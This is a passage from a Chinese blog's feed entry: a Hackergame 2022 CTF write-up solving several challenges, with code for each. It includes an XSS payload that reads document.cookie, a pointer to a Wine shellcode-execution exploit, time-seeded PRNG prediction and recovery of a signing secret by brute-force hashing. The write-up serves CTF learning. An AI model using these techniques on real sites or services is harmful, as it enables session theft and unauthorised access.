第三题</span><br><span class="line">definite_integral(arcsin(1/10),x,0,1)                               # 第四题</span><br><span class="line">derivative(cos(x)/sin(x),x)(x=114)                                  # 第五题</span><br><span class="line">answers = [0.8, 1.0, 1.3, 0.1, -1.6]                                # 答案</span><br></pre></td></tr></table></figure><p>成功获得了 100 分。</p><p>从微积分的世界返回到 CTF 的世界，调试网页并阅读后端源码发现：</p><ul><li>成绩页面存在 XSS 漏洞。</li><li>成绩页面的姓名与分数在 URL param 的 result 中通过 base64 编码。（以及 URL Encode）</li><li>提交练习成绩的页面会使用 selenium 控制 Chrome，打开成绩页面处理成绩后输出。</li><li>flag 在后端 Chrome 的 cookie 中。</li></ul><p>构造 payload 如下：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span></span></span><br><span class="line"><span class="tag">  <span class="attr">src</span>=<span class="string">&quot;x&quot;</span></span></span><br><span class="line"><span class="tag">  <span class="attr">onerror</span>=<span class="string">&quot;document.getElementById(&#x27;greeting&#x27;).innerText=document.cookie;&quot;</span></span></span><br><span class="line"><span class="tag">/&gt;</span>:<span class="tag">&lt;<span class="name">img</span></span></span><br><span class="line"><span class="tag">  <span class="attr">src</span>=<span class="string">&quot;x&quot;</span></span></span><br><span class="line"><span class="tag">  <span class="attr">onerror</span>=<span class="string">&quot;document.getElementById(&#x27;score&#x27;).innerText=document.cookie;&quot;</span></span></span><br><span class="line"><span class="tag">/&gt;</span></span><br></pre></td></tr></table></figure><p>通过 base64 编码，URL Encode 后，修改 URL 并在提交练习成绩的页面提交，得到 flag。</p><h2 id="杯窗鹅影">杯窗鹅影</h2><h3 id="flag1">flag1</h3><p>写一个 C 程序，读取<code>/flag1</code>并输出。使用<code>x86_64-w64-mingw32-gcc</code>编译并上传。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">  FILE *fptr;</span><br><span class="line">  <span class="type">char</span> c;</span><br><span class="line">  fptr = fopen(<span class="string">&quot;/flag1&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> (fptr == <span class="literal">NULL</span>) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Cannot open file \n&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  c = fgetc(fptr);</span><br><span class="line">  <span class="keyword">while</span> (c != EOF) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%c&quot;</span>, c);</span><br><span class="line">    c = fgetc(fptr);</span><br><span class="line">  &#125;</span><br><span class="line">  fclose(fptr);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><s>原来可以读到的吗，震撼我一整年</s></p><h3 id="flag2">flag2</h3><p>在 GitHub 搜索 wine exploit，找到 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3NjaGxhZndhbmRsZXIvYXR0YWNraW5nX3dpbmU=">schlafwandler/attacking_wine<i class="fa fa-external-link-alt"></i></span> 仓库。</p><p>使用<code>Part_I/exec_shellcode.c</code>中的代码，替换 shellcode，编译并上传，得到 flag。</p><h2 id="蒙特卡罗轮盘赌">蒙特卡罗轮盘赌</h2><p>题目需要猜测程序运行结果，五局三胜。阅读源代码，发现其使用时间作为伪随机数生成器的种子，因此可以在本地生成最近时间的随机数。</p><p>先修改原来的代码，使其在有参数时，使用 argv[1]作为种子，否则使用当前时间作为种子。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;time.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">double</span> <span class="title function_">rand01</span><span class="params">()</span> &#123; <span class="keyword">return</span> (<span class="type">double</span>)rand() / RAND_MAX; &#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> **argv)</span> &#123;</span><br><span class="line">  <span class="comment">// disable buffering</span></span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="literal">NULL</span>, _IONBF, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="literal">NULL</span>, _IONBF, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stderr</span>, <span class="literal">NULL</span>, _IONBF, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">long</span> seed = (<span class="type">unsigned</span>)time(<span class="number">0</span>) + clock();</span><br><span class="line">  <span class="keyword">if</span> (argc &gt; <span class="number">1</span>) &#123;</span><br><span class="line">    seed = atoi(argv[<span class="number">1</span>]);</span><br><span class="line">  &#125;</span><br><span class="line">  srand(seed);</span><br><span class="line"></span><br><span class="line">  <span class="type">int</span> games = <span class="number">5</span>;</span><br><span class="line">  <span class="type">int</span> win = <span class="number">0</span>;</span><br><span class="line">  <span class="type">int</span> lose = <span class="number">0</span>;</span><br><span class="line">  <span class="type">char</span> target[<span class="number">20</span>];</span><br><span class="line">  <span class="type">char</span> guess[<span class="number">2000</span>];</span><br><span class="line">  <span class="keyword">for</span> (<span class="type">int</span> i = games; i &gt; <span class="number">0</span>; i--) &#123;</span><br><span class="line">    <span class="type">int</span> M = <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> N = <span class="number">400000</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">0</span>; j &lt; N; j++) &#123;</span><br><span class="line">      <span class="type">double</span> x = rand01();</span><br><span class="line">      <span class="type">double</span> y = rand01();</span><br><span class="line">      <span class="keyword">if</span> (x * x + y * y &lt; <span class="number">1</span>)</span><br><span class="line">        M++;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">double</span> pi = (<span class="type">double</span>)M / N * <span class="number">4</span>;</span><br><span class="line">    <span class="built_in">sprintf</span>(target, <span class="string">&quot;%1.5f&quot;</span>, pi);</span><br><span class="line">    guess[<span class="number">7</span>] = <span class="string">&#x27;\0&#x27;</span>;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%1.5f,&quot;</span>, pi);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译后写一个 python 程序调用它生成最近时间作为种子的随机数，并输出到文件中。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getans</span>(<span class="params">seed</span>):</span><br><span class="line">    ans = os.popen(<span class="string">f&quot;./pwncarlo <span class="subst">&#123;seed&#125;</span>&quot;</span>).read().strip()[:-<span class="number">1</span>].split(<span class="string">&quot;,&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> ans  <span class="comment"># list of 5 answers</span></span><br><span class="line">monte_carlo = []</span><br><span class="line">time_stamp = <span class="built_in">int</span>(time.time())</span><br><span class="line"><span class="keyword">for</span> seed <span class="keyword">in</span> <span class="built_in">range</span>(time_stamp - <span class="number">1000</span>, time_stamp + <span class="number">1500</span>):</span><br><span class="line">    <span class="built_in">print</span>(seed)</span><br><span class="line">    monte_carlo.append(getans(seed))</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;monte_carlo.txt&quot;</span>, <span class="string">&quot;w&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> monte_carlo:</span><br><span class="line">        f.write(<span class="string">&quot;,&quot;</span>.join(i) + <span class="string">&quot;\n&quot;</span>)</span><br></pre></td></tr></table></figure><p>基于服务器给出的前两次结果，推测出后三次的结果，从而得到 flag。</p><h2 id="惜字如金">惜字如金</h2><h3 id="HS384">HS384</h3><p>先尝试补全被惜字如金化的代码，如果使用具有代码补全和错误检查功能的 IDE 会更方便。发现<code>secret = b'ustc.edu.cn'</code>和它的 sha384 被惜字如金化了。已知<code>secret</code>长度为 39。阅读惜字如金化规则，找出所有可能的<code>secret</code>，并计算它们的 sha384，生成类似于彩虹表的文件。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> sha384</span><br><span class="line"><span class="keyword">import</span> itertools</span><br><span class="line"></span><br><span class="line">f = <span class="built_in">open</span>(<span class="string">&quot;/tmp/HS384rainbow.csv&quot;</span>, <span class="string">&quot;w&quot;</span>)</span><br><span class="line"><span class="keyword">for</span> vec <span class="keyword">in</span> itertools.product(<span class="built_in">range</span>(<span class="number">1</span>, <span class="number">35</span>), repeat=<span class="number">6</span>):   <span class="comment"># fxxk referer</span></span><br><span class="line">    <span class="keyword">for</span> vec2 <span class="keyword">in</span> itertools.product(<span class="built_in">range</span>(<span class="number">2</span>), repeat=<span class="number">2</span>):  <span class="comment"># fxxk creat</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">sum</span>(vec) + <span class="built_in">sum</span>(vec2) == <span class="number">34</span>:</span><br><span class="line">            secret = <span class="string">&#x27;u&#x27;</span> + vec[<span class="number">0</span>] * <span class="string">&#x27;s&#x27;</span> + vec[<span class="number">1</span>] * <span class="string">&#x27;t&#x27;</span> + vec[<span class="number">2</span>] * <span class="string">&#x27;c&#x27;</span> + vec2[</span><br><span class="line">                <span class="number">0</span>] * <span class="string">&#x27;e&#x27;</span> + <span class="string">&#x27;.e&#x27;</span> + vec[<span class="number">3</span>] * <span class="string">&#x27;d&#x27;</span> + <span class="string">&#x27;u.&#x27;</span> + vec[<span class="number">4</span>] * <span class="string">&#x27;c&#x27;</span> + vec[</span><br><span class="line">                    <span class="number">5</span>] * <span class="string">&#x27;n&#x27;</span> + vec2[<span class="number">1</span>] * <span class="string">&#x27;e&#x27;</span></span><br><span class="line">            f.write(secret + <span class="string">&#x27;,&#x27;</span> + sha384(secret.encode()).hexdigest() + <span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">f.close()</span><br></pre></td></tr></table></figure><p>单线程 python 慢慢地跑了十几分钟，生成了 106MB 的文件。 <s><span class="exturl" data-url="aHR0cHM6Ly90b3dhcmRzZGF0YXNjaWVuY2UuY29tL3B5dGhvbi0zLTE0LXdpbGwtYmUtZmFzdGVyLXRoYW4tYy1hOTdlZGQwMWQ2NWQ=">Python 3.14 将比 C++ 还快（误）<i class="fa fa-external-link-alt"></i></span></s> 运行结束后在表中查找与题目给出的 sha384 值相似的值，得到<code>secret</code>是<code>usssttttttce.edddddu.ccccccnnnnnnnnnnnn</code>。</p><p>把<code>secret</code>和<code>secret_sha384</code>填入<code>HS384.py</code>，并用它来签名所需签名的数据，提交后得到 flag。</p><h2 id="光与影">光与影</h2><p>因为我在 Linux 环境下的 Chromium 无法正常渲染，所以使用 Firefox 和 Charles 来调试。</p><p>通过不断调试<code>fragment-shader.js</code>，最终可以得到 flag 的重写规则为：</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;   vec4 pTO = mk_trans(35.0, -5.0, -20.0) * mk_scale(1.5, 1.5, 1.0) * pH;</span><br><span class="line">&gt;   vec4 pTO = mk_trans(35.0, -5.0, -2.0) * mk_scale(1.5, 1.5, 1.0) * pH;</span><br></pre></td></tr></table></figure><p>在截图中，我还启动了以下重写规则，不影响 flag 查看。</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;   return vec3(0.0, 0.0, 0.0);</span><br><span class="line">&gt;   return rayD;</span><br></pre></td></tr></table></figure><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hackergame-2022-writeup/light-and-shadow.png" alt="光与影"></p><h2 id="片上系统">片上系统</h2><h3 id="引导扇区">引导扇区</h3><p>使用 PulseView 打开 zip 文件，点击<code>Add protocol decoder</code>，选择<code>SD card (SPI mode)</code>，配置解码器参数后，在<code>Binary Decoder Output View</code>中可以看到 flag。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hackergame-2022-writeup/pulseview.png" alt="PulseView"></p><h2 id="量子藏宝图">量子藏宝图</h2><p><s>呜呜，不懂量子</s></p><p>第一章要求使用<span class="exturl" data-url="aHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvQkI4NA==">名为 BB84 的量子密钥分发协议<i class="fa fa-external-link-alt"></i></span>，协商出密钥。多次尝试后我的做法是<code>制备基底</code>填写 30 个<code>x</code>，量子态填写 30 个<code>0</code>。提交量子态后，根据返回的<code>测量基底</code>中的<code>x</code>的个数，填写相应个数的<code>0</code>。（如果制备基底填写<code>+</code>就填写返回的<code>测量基底</code>中的<code>+</code>的个数的<code>0</code>）</p><p>第二章给出了一个藏有 flag 的 <span class="exturl" data-url="aHR0cHM6Ly9xaXNraXQub3JnL3RleHRib29rL2NoLXN0YXRlcy9zaW5nbGUtcXViaXQtZ2F0ZXMuaHRtbA==">Bernstein-Vazirani 算法的量子电路图<i class="fa fa-external-link-alt"></i></span>。我哪里懂什么量子电路图呢，只好先把电路图按行转写成了这样的格式，总共为 128 行，图中最后一行暂时不管，节点使用+表示。以下为末 8 行：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">0</span><br><span class="line">x+x</span><br><span class="line">+</span><br><span class="line">0</span><br><span class="line">0</span><br><span class="line">+</span><br><span class="line">zz+</span><br><span class="line">0</span><br></pre></td></tr></table></figure><p>因为最后一行是左边是 x，按照电路加入到前面的规则的话，就把+替换成了 x，末 8 行如下：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">0</span><br><span class="line">xxx</span><br><span class="line">x</span><br><span class="line">0</span><br><span class="line">0</span><br><span class="line">x</span><br><span class="line">zzx</span><br><span class="line">0</span><br></pre></td></tr></table></figure><p>已知<code>FLAG 是 flag&#123;...&#125; 的形式，使用 ASCII 编码，按大端序存储。q_127 对应第一个比特</code>，那么需要把每行二值化。又已知部分明文（<code>flag&#123;</code>和<code>&#125;</code>），调试后使用以下代码输出二进制：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;q2.txt&#x27;</span>, <span class="string">&#x27;r&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    q = f.read().splitlines()</span><br><span class="line">q = q[::-<span class="number">1</span>]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> q:</span><br><span class="line">    <span class="keyword">if</span> i == <span class="string">&#x27;0&#x27;</span> <span class="keyword">or</span> i == <span class="string">&#x27;xx&#x27;</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&#x27;0&#x27;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&#x27;1&#x27;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line"><span class="built_in">print</span>()</span><br></pre></td></tr></table></figure><p>得到结果（为使结果美观添加了空格和换行）：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">01100110 01101100 01100001 01100111</span><br><span class="line">01111011 01100101 00110010 01100010</span><br><span class="line">00110010 00110010 01100010 01100001</span><br><span class="line">00110110 00110110 01100010 01111101</span><br></pre></td></tr></table></figure><p>使用 ASCII 转换为字符后得到 flag。</p><h2 id="企鹅拼盘">企鹅拼盘</h2><h3 id="这么简单我闭眼都可以">这么简单我闭眼都可以</h3><p>需要输入四位二进制数，总共也就 16 种可能，直接手动枚举即可。</p><h3 id="大力当然出奇迹">大力当然出奇迹</h3><p>通过修改 Python 源代码，使<code>chal</code>函数增加一个参数，输入 16 位二进制元组，并修改使它直接输出<code>info</code>字典，通过字典中的<code>scrambled</code>判断是否成功。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> input_tuple <span class="keyword">in</span> itertools.product([<span class="number">0</span>, <span class="number">1</span>], repeat=<span class="number">16</span>):</span><br><span class="line">    info = chal(<span class="number">16</span>, <span class="literal">True</span>, input_tuple)</span><br><span class="line">    <span class="built_in">print</span>(input_tuple)</span><br><span class="line">    <span class="keyword">if</span> info[<span class="string">&#x27;scrambled&#x27;</span>]:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;&quot;</span>.join(<span class="built_in">map</span>(<span class="built_in">str</span>, input_tuple)))</span><br><span class="line">        <span class="keyword">break</span></span><br></pre></td></tr></table></figure><h2 id="火眼金睛的小-E">火眼金睛的小 E</h2><h3 id="有手就行">有手就行</h3><p>手动使用 <span class="exturl" data-url="aHR0cHM6Ly93d3cuenluYW1pY3MuY29tL2JpbmRpZmYuaHRtbA==">BinDiff<i class="fa fa-external-link-alt"></i></span> 完成。</p><p>后续题目试了好几天，可惜没能解出来，只差 bindiff 的命令行输入和输出了。找到了 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL1Rha2FoaXJvSGFydXlhbWEvaWRhX2hhcnUvdHJlZS9tYXN0ZXIvYmluZGlmZg==">ida_haru<i class="fa fa-external-link-alt"></i></span> 但是没成功跑起来。</p><p>以下是不完整的解题代码：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> pwn</span><br><span class="line">tmp_dir = <span class="string">r&#x27;hackergame/tmp&#x27;</span></span><br><span class="line">conn = pwn.remote(<span class="string">&#x27;202.38.93.111&#x27;</span>, <span class="number">12400</span>)  <span class="comment"># connect to the server</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">wipe</span>():</span><br><span class="line">    <span class="keyword">for</span> file <span class="keyword">in</span> os.listdir(tmp_dir):</span><br><span class="line">        os.remove(os.path.join(tmp_dir, file))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">recv_and_print</span>(<span class="params">line_num</span>):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(line_num):</span><br><span class="line">        text = conn.recvline().decode(<span class="string">&#x27;utf-8&#x27;</span>).strip()</span><br><span class="line">        <span class="built_in">print</span>(text)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">choose_difficulty</span>(<span class="params">difficulty</span>):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">        text = conn.recvline().decode(<span class="string">&#x27;utf-8&#x27;</span>).strip()</span><br><span class="line">        <span class="built_in">print</span>(text)</span><br><span class="line">    conn.sendline(<span class="built_in">str</span>(difficulty).encode())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">challenge</span>():</span><br><span class="line">    urls = &#123;</span><br><span class="line">        <span class="string">&#x27;1&#x27;</span>: <span class="literal">None</span>,</span><br><span class="line">        <span class="string">&#x27;2&#x27;</span>: <span class="literal">None</span>,</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        text = conn.recvline().decode(<span class="string">&#x27;utf-8&#x27;</span>).strip()</span><br><span class="line">        <span class="built_in">print</span>(text)</span><br><span class="line">        <span class="keyword">if</span> text.startswith(<span class="string">&#x27;1st binary&#x27;</span>):</span><br><span class="line">            urls[<span class="string">&#x27;1&#x27;</span>] = text.split(<span class="string">&#x27; &#x27;</span>)[-<span class="number">1</span>]</span><br><span class="line">        <span class="keyword">elif</span> text.startswith(<span class="string">&#x27;2nd binary&#x27;</span>):</span><br><span class="line">            urls[<span class="string">&#x27;2&#x27;</span>] = text.split(<span class="string">&#x27; &#x27;</span>)[-<span class="number">1</span>]</span><br><span class="line">        <span class="keyword">elif</span> text.startswith(<span class="string">&#x27;Please show me the address of that function&#x27;</span>):</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">assert</span> urls[<span class="string">&#x27;1&#x27;</span>] <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span> <span class="keyword">and</span> urls[<span class="string">&#x27;2&#x27;</span>] <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span></span><br><span class="line">    <span class="keyword">return</span> urls</span><br><span class="line"></span><br><span class="line">token = <span class="built_in">open</span>(<span class="string">&#x27;token&#x27;</span>, <span class="string">&#x27;r&#x27;</span>).read()</span><br><span class="line">conn.sendlineafter(<span class="string">&#x27;Please input your token: &#x27;</span>, token.encode())</span><br><span class="line">difficulty = <span class="number">2</span></span><br><span class="line">challenges = <span class="number">100</span></span><br><span class="line">choose_difficulty(difficulty)</span><br><span class="line">conn.sendlineafter(</span><br><span class="line">    <span class="string">r&#x27;Do you want to perform dry run, so that you can see how many challenges you can answer correctly? (y/N)&#x27;</span>,</span><br><span class="line">    <span class="string">b&#x27;N&#x27;</span>)</span><br><span class="line">recv_and_print(<span class="number">5</span>)</span><br><span class="line">timestamp = <span class="built_in">input</span>(<span class="string">&#x27;Please input the timestamp: &#x27;</span>)</span><br><span class="line">conn.sendlineafter(<span class="string">&#x27;Please input the timestamp:&#x27;</span>, timestamp.encode())</span><br><span class="line">recv_and_print(<span class="number">2</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(challenges):</span><br><span class="line">    wipe()</span><br><span class="line">    challenge_urls = challenge()</span><br><span class="line">    <span class="keyword">for</span> i, url <span class="keyword">in</span> challenge_urls.items():</span><br><span class="line">        r = requests.get(url)</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(os.path.join(tmp_dir, <span class="string">f&#x27;file<span class="subst">&#123;i&#125;</span>&#x27;</span>), <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            f.write(r.content)</span><br><span class="line">        os.system(<span class="string">f&quot;idat64.exe -B -P+ <span class="subst">&#123;os.path.join(tmp_dir, <span class="string">f&#x27;file<span class="subst">&#123;i&#125;</span>&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">    address = <span class="built_in">input</span>() <span class="comment"># TODO</span></span><br><span class="line">    conn.sendline(address.encode())</span><br><span class="line">conn.interactive()</span><br></pre></td></tr></table></figure><h2 id="总结">总结</h2><p>比赛好卷，不懂 math 不懂 binary 卷不过但是上榜了（）</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hackergame-2022-writeup/score.png" alt="分数"></p><p>在做“蒙特卡罗轮盘赌”题目的时候，发现正好度过了时间<code>Tue 25 October 2022 02:57:46 UTC</code>，其时间戳为<code>1666666666</code>！</p><p>明年可能会再来参加，希望到时候也能够顺利上榜。</p><p>参加 Hackergame 喵，参加 Hackergame 谢谢喵。</p><h2 id="See-also">See also</h2><ul><li><span class="exturl" data-url="aHR0cHM6Ly9uZWtvbW9lLnh5ei9pbmRleC5odG1sP3R5cGU9YXJ0aWNsZSZmaWxlbmFtZT1oYWNrZXJnYW1lLTIwMjIubWQ=">参加 Hackergame 2022 的一些感想和部分题解<i class="fa fa-external-link-alt"></i></span> by <span class="exturl" data-url="aHR0cHM6Ly9uZWtvbW9lLnh5ei8=">柏园猫<i class="fa fa-external-link-alt"></i></span></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;参加 Hackergame 喵，参加 Hackergame 谢谢喵。&lt;/p&gt;</summary>
    
    
    
    <category term="技术向" scheme="https://blog.apeiria.net/categories/%E6%8A%80%E6%9C%AF%E5%90%91/"/>
    
    
    <category term="CTF" scheme="https://blog.apeiria.net/tags/CTF/"/>
    
    <category term="Hackergame" scheme="https://blog.apeiria.net/tags/Hackergame/"/>
    
    <category term="WriteUp" scheme="https://blog.apeiria.net/tags/WriteUp/"/>
    
  </entry>
  
  <entry>
    <title>我的 2021</title>
    <link href="https://blog.apeiria.net/2022/my-2021/"/>
    <id>https://blog.apeiria.net/2022/my-2021/</id>
    <published>2022-01-02T13:40:20.000Z</published>
    <updated>2022-01-02T13:40:20.000Z</updated>
    
